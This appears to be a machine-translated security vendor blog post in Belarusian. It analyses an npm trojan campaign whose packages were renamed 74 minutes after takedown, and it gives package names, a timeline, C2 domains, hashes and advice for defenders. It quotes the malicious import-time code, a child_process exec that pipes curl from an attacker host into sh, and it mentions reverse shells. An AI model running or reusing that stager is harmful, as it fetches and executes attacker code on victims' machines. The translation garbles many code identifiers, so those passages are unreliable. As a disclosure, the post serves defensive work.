GhostTracker: траян npm быў рэбрэндыраваны за 74 хвіліны — той самы C2

GhostTracker: траян npm, які змяніў назву на працягу некалькіх гадзін пасля выдалення — і захаваў той жа C2

TL, д-р

Апублікаваны адзін аператар npm пяць траянскіх пакетаў на працягу двух раўндаў за тры дні. Пакеты выдаюць сябе за малюсенькія ўтыліты для адсочвання колераў тэрмінала, логгера і кліента Postgres. Шкоднасны код выконваецца момант імпарту пакета — няма ўсталявальнага скрыпта, які можна перахапіць.

Першы тур (neon-terminal, neon-postgres, ne-logger) быў зняты з публікацыі 05.07.2026 у 14:14 UTC. Семдзесят чатыры хвіліны пазней той жа акаўнт пераапублікаваў той жа траян пад новымі назвамі (agn-terminal, agn-logger) — і накіраваў яго на тая ж канчатковая кропка камандавання і кіравання раней выкарыстоўвалася: tracker.bvgroup.co.

Гэты вузел C2 — адзіны паказчык, які перажывае перайменаванне, і абаронца можа хутчэй за ўсё яго шукаць. Небяспека: высокіЭкасістэма: НПМНа момант напісання артыкула пакеты другога раўнда ўсё яшчэ былі ў сіле.

Атака: як гэта працуе

Пакеты з'яўляюцца функцыянальнымі прынадамі. Адкрыць agn-тэрмінал і вы знойдзеце поўны, працоўны памочнік па колерах ANSI — коды, падтрымлівае колер, каларызаваць, фарбаваць — з тыпамі і README. Код утыліты працуе. Уверсе модуля ўводу, над карысным кодам, прымацавана некалькі радкоў, якія выконваюцца пры імпарце.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

Тры рэчы робяць гэта эфектыўным.

  • Ён спрацоўвае пры імпарце, а не пры ўсталёўцы. На ўпакоўцы заяўлена не прадусталяваць or пасля ўстаноўкі кручок — звычайнае месца, куды глядзяць сканеры і рэцэнзенты. Exec выклік — гэта код модуля. Ён выконваецца пры першым жа дзеянні. require(“agn-тэрмінал”) or імпартаваць «agn-тэрмінал», на машыне распрацоўшчыка або ўнутры CI. Абодва запісы ESM (src/index.js) і запіс CommonJS (cjs/src/index.js) нясуць аднолькавую карысную нагрузку, таму абедзве сістэмы модуляў ахопліваюцца.
  • Сапраўдная карысная нагрузка захоўваецца па-за ўпакоўкай. Пакет пастаўляе толькі аднарадковы стэйгер: fetch remote.agyn.org/remote.sh` і перанакіруйце яго па канвееры sh`. Выконваецца тое, што аператар падае з гэтага URL-адраса падчас запыту. Канчатковая кропка C2 перадаецца загружанаму скрыпту праз КРЫНІЦА_АДДАЛЕНАГА_ТРЭКЕРА зменная асяроддзя, таму скрыпт другога этапу тэлефануе дадому tracker.bvgroup.co.
  • Носьбіт павялічвае радыус выбуху. agn-logger — гэта другая прынада — «міні-шматлікія глабальныя рэгістратары». У іх няма ўласнай карыснай нагрузкі. Яе ўваходны модуль выконвае адну важную рэч:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

У ім заяўляецца agn-тэрмінал як залежнасць і імпартуе яе. Усталёўка або імпарт логера зацягвае і запускае тэрмінальны пакет транзітыўна. Праект, які ніколі не называе траяна непасрэдна, усё роўна можа выканаць яго праз логер.

Што тут новага

У першым раўндзе не выкарыстоўваўся аддалены механізм падрыхтоўкі. Карысная нагрузка пастаўлялася непасрэдна ў сістэме і павялічвалася версія за версіяй — зваротная абалонка bash у адным рэлізе, net.Socket адваротная абалонка ў наступным, а git дадаць/commit/націснуць рабочага каталога ахвяры ў іншым, і, нарэшце, поўны агент камандавання і кіравання HTTP ў неонавы тэрмінал 0.9.0, якая рэгістравала хост, апытвала задачы і запускала іх з дапамогай выкананне()і перадаваў вывад у фармаце base64 назад. Другі раўнд аб'ядноўвае ўсё гэта ў адзін завівацца | ш, што цалкам выключае другую прыступку з рэестра. Той жа аператар, цішэйшая канструкцыя, больш гнуткая карысная нагрузка — і, што вельмі важна, той жа C2, што і раней.

Timeline

Дата (UTC)падзея
2026-07-03 07:03Апублікаваны першы раўнд: neon-terminal (0.1.0 чыстая, затым 0.2.0–0.9.0 шкоднасная), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal пазначана падчас сканавання ў рэжыме рэальнага часу
2026-07-04Пацверджана шкоднаснасць; карэляцыя выяўляе два аднатыпныя пакеты; пададзены першыя спробы выдалення
2026-07-05 14:14Першы раўнд неапублікаваны — усе восем neon-terminal версіі плюс браты і сёстры выдаленыя
2026-07-05 15:28agn-terminal 0.1.0 апублікаваны
2026-07-05 15:29agn-logger 0.1.0 апублікавана — перавозчык для новага тэрмінальнага пакета
2026-07-05 (працягваецца)Пакеты другога раўнда даступныя на момант напісання артыкула

Два раўнды праходзяць з інтэрвалам у тры дні, а прамежак паміж зняццем і паўторным запускам склаў 74 хвіліны. Кампанія адкрыта: agn-* пакеты не былі выдаленыя, калі гэта было напісана.

Паказчыкі кампрамісу

Шукаць назвы пакетаў у файлах блакіроўкі і дрэвах залежнасцей. Шукаць па проксі-серверах, DNS і EDR журналы для канцавых кропак сеткі. Хост C2 tracker.bvgroup.co ахоплівае абодва раўнды і з'яўляецца адзіночным паказчыкам з найвышэйшым значэннем.

Пакеты

пакетверсііРоляСтан
neon-terminal0.2.0–0.9.0траян (убудаваныя карысныя нагрузкі → HTTP C2)неапублікаваны
neon-postgres3.5.2траян (карысная нагрузка ў src/errors.js)неапублікаваны
ne-logger0.7.0перавозчык (залежыць ад neon-terminal)неапублікаваны
agn-terminal0.1.0траян (curl | sh пастаноўшчык)жыць
agn-logger0.1.0перавозчык (залежыць ад agn-terminal)жыць

неонавы тэрмінал Версія 0.1.0 была чыстым пачатковым кодам — працоўнай бібліятэкай колераў без карыснай нагрузкі — апублікаванай для стварэння пакета да з'яўлення шкоднасных версій.

сетка

індыкатарКантэкст
tracker.bvgroup.co/remote/…HTTP C2, абодва раўнды (токен другога раўнда) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shзараднік першага этапу другога раўнда
reverse.bvgroup.co:443канчатковая кропка зваротнай абалонкі першага раўнда (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754зваротная абалонка першага раўнда (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852зваротная абалонка першага раўнда (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.ioдамены, якія кантралююцца аператарам

Паводніцкія

  • Модульны ўзровень child_process.exec уверсе файла ўваходу пакета ўтыліт, у абодвух src/index.js (ESM) і cjs/src/index.js (КЖС).
  • A curl -fsSL … | sh аднарадковы з C2, які праходзіць праз КРЫНІЦА_АДДАЛЕНАГА_ТРЭКЕРА зменная асяроддзя.
  • Другі пакет «утыліты», які аб'яўляе першы як залежнасць і імпартуе яе без уласнай карыснай нагрузкі.
  • Рэшта // неонавы тэрмінал каментар уверсе agn-тэрмінал — артэфакт капіявання і ўстаўкі, які злучае рэбрэндынг з арыгіналам.

Хэшы файлаў (SHA-256, другі раўнд)

  • agn-тэрмінал src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-тэрмінал cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Атрыбуцыя і назіраная паводзіны

Кожны пакет адсочваецца да аднаго акаўнта npm, віталій-агінпублікацыя пад неправераным адрасам электроннай пошты vitalii@agyn.ioУласныя метададзеныя рэестра ўліковага запісу пералічваюць усе тры пакеты першага раўнда, якія падтрымліваюцца ім. Інфраструктура звязвае раўнды разам: дамен agyn.org адпавядае выдавецтву agyn.io дамен электроннай пошты і хост C2 tracker.bvgroup.co з'яўляецца ў абодвух неонавы тэрмінал 0.9.0 і agn-тэрмінал 0.1.0 — той самы шлях калектара, выкарыстаны даслоўна пасля перайменавання.

Мы апісваем, што паказваюць артэфакты, і на гэтым спыняемся. Адрас электроннай пошты выдаўца, указаны vitalii@agyn.io; мы не праверылі ўласнасць на гэты адрас і не прыпісваем уліковы запіс ніякай асобе або групе. Паўторнае выкарыстанне адной канцавой кропкі C2 у двух сямействах пакетаў з'яўляецца моцным сігналам таго ж аператара, а не ідэнтычнасцю.

Пакеты першага раўнда абапіраліся на блізкасць брэндаў. неон-постгрэс быў поўным клонам шырока выкарыстоўванага Порсагера postgres.js кліент, слоган і ўсё астатняе, з карыснай нагрузкай, схаванай унутры src/errors.js таму звычайны шлях імпарту дасягне яго — і неон- прэфікс запазычвае пазнавальнасць Neon, бессервернага пастаўшчыка Postgres. У другім раўндзе імёнаў адмовіліся ад увасаблення і сталі агульнымі (agn-тэрмінал, agn-logger), абмен прыцягнення брэнда на больш чысты адпачынак ад абпаленых імёнаў.

 Уплыў, тэндэнцыі і рэкамендацыі абаронцам

  • Хто выкрыты. Любы, хто ўсталёўвае і імпартуе адзін з гэтых пакетаў, непасрэдна або праз носьбіт, на Unix-падобны хост. Stager выкарыстоўвае завітак і shвыкарыстоўваюць снарады першага раўнда біць і /dev/tcpПаколькі выкананне адбываецца пры імпарце, дастаткова сервера зборкі, які ўсталёўвае залежнасць і запускае любы код, які да яе дакранаецца — ніякіх этапаў пасля ўсталёўкі не патрабуецца. На працоўнай станцыі распрацоўшчыка або ў CI-запуску загружаны другі этап запускаецца з прывілеямі карыстальніка і поўным доступам да сеткі.
  • Чаму важна выкананне падчас імпарту. Абарона ланцужкоў паставак сканцэнтравана на сцэнарыях усталёўкі, і нездарма — пасляўстаноўка — гэта класічны плацдарм npm. Гэтая кампанія цалкам абыходзіць гэта. Няма ніякага перахопніка ўстаноўкі, які можна было б пазначыць. шкоднасны код — гэта звычайная ініцыялізацыя модуля, якую на першы погляд немагчыма адрозніць ад пакета, які вылічвае табліцу пошуку пры загрузцы. Інструменты, якія правяраюць толькі скрыпты ў package.json, нічога не бачаць.
  • Тэндэнцыя рэбрэндынгу і паўторнага выкарыстання. 74-хвілінны паварот — вось у чым справа. Пры выдаленні былі выдалены назвы, але не аператар, інфраструктура ці код. На працягу гадзіны кампанія зноў запусцілася пад новымі назвамі, якія паказвалі на той жа C2. Блакіроўка на аснове імёнаў — denylisting neon-terminal — ужо б састарэла. Блакіроўка на аснове інфраструктуры — denylisting bvgroup.co — адразу б зачапіла другі раўнд. Для актыўнага аператара, які перапублікуе даныя хутчэй, чым рэестры выдаляюць даныя, надзейным паказчыкам з'яўляецца канчатковая кропка сеткі, а не назва пакета.

Што рабіць цяпер

  • Правесці апрацоўку файлаў блакіроўкі Grep і ўсталяваных дрэў для ўсіх пяці назваў пакетаў вышэй. Разглядаць любое супадзенне як узламаны хост і ратаваць даступныя з яго ўліковыя дадзеныя.
  • Блакіроўка і папярэджанне на даменах bvgroup.co, agyn.org, а таксама канчатковыя кропкі ngrok у DNS і фільтрацыі выходнага трафіку. tracker.bvgroup.co з'яўляецца прыярытэтам.
  • Не спадзявайцеся толькі на сканаванне перахопнікаў усталёўкі. Дадайце выяўленне на ўзроўні модуля. даччыны_працэс і сеткавыя выклікі ў залежнасцях, а таксама для завівацца … | ш шаблоны ў зыходным коде пакета.
  • Разглядайце пакет утыліт, які аб'яўляе іншую невядомую ўтыліту як сваю адзіную залежнасць і імпартуе яе пры загрузцы, як варты паўторнага разгляду.
  • У CI перавага аддаецца –ігнараваць-скрыпты дзе практычна, але разумееце, што тут гэта не дапаможа — карысная нагрузка запускаецца пры імпарце, таму кантроль выхаднога сігналу падчас выканання і праверка залежнасцей маюць большае значэнне.

Спасылкі

інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni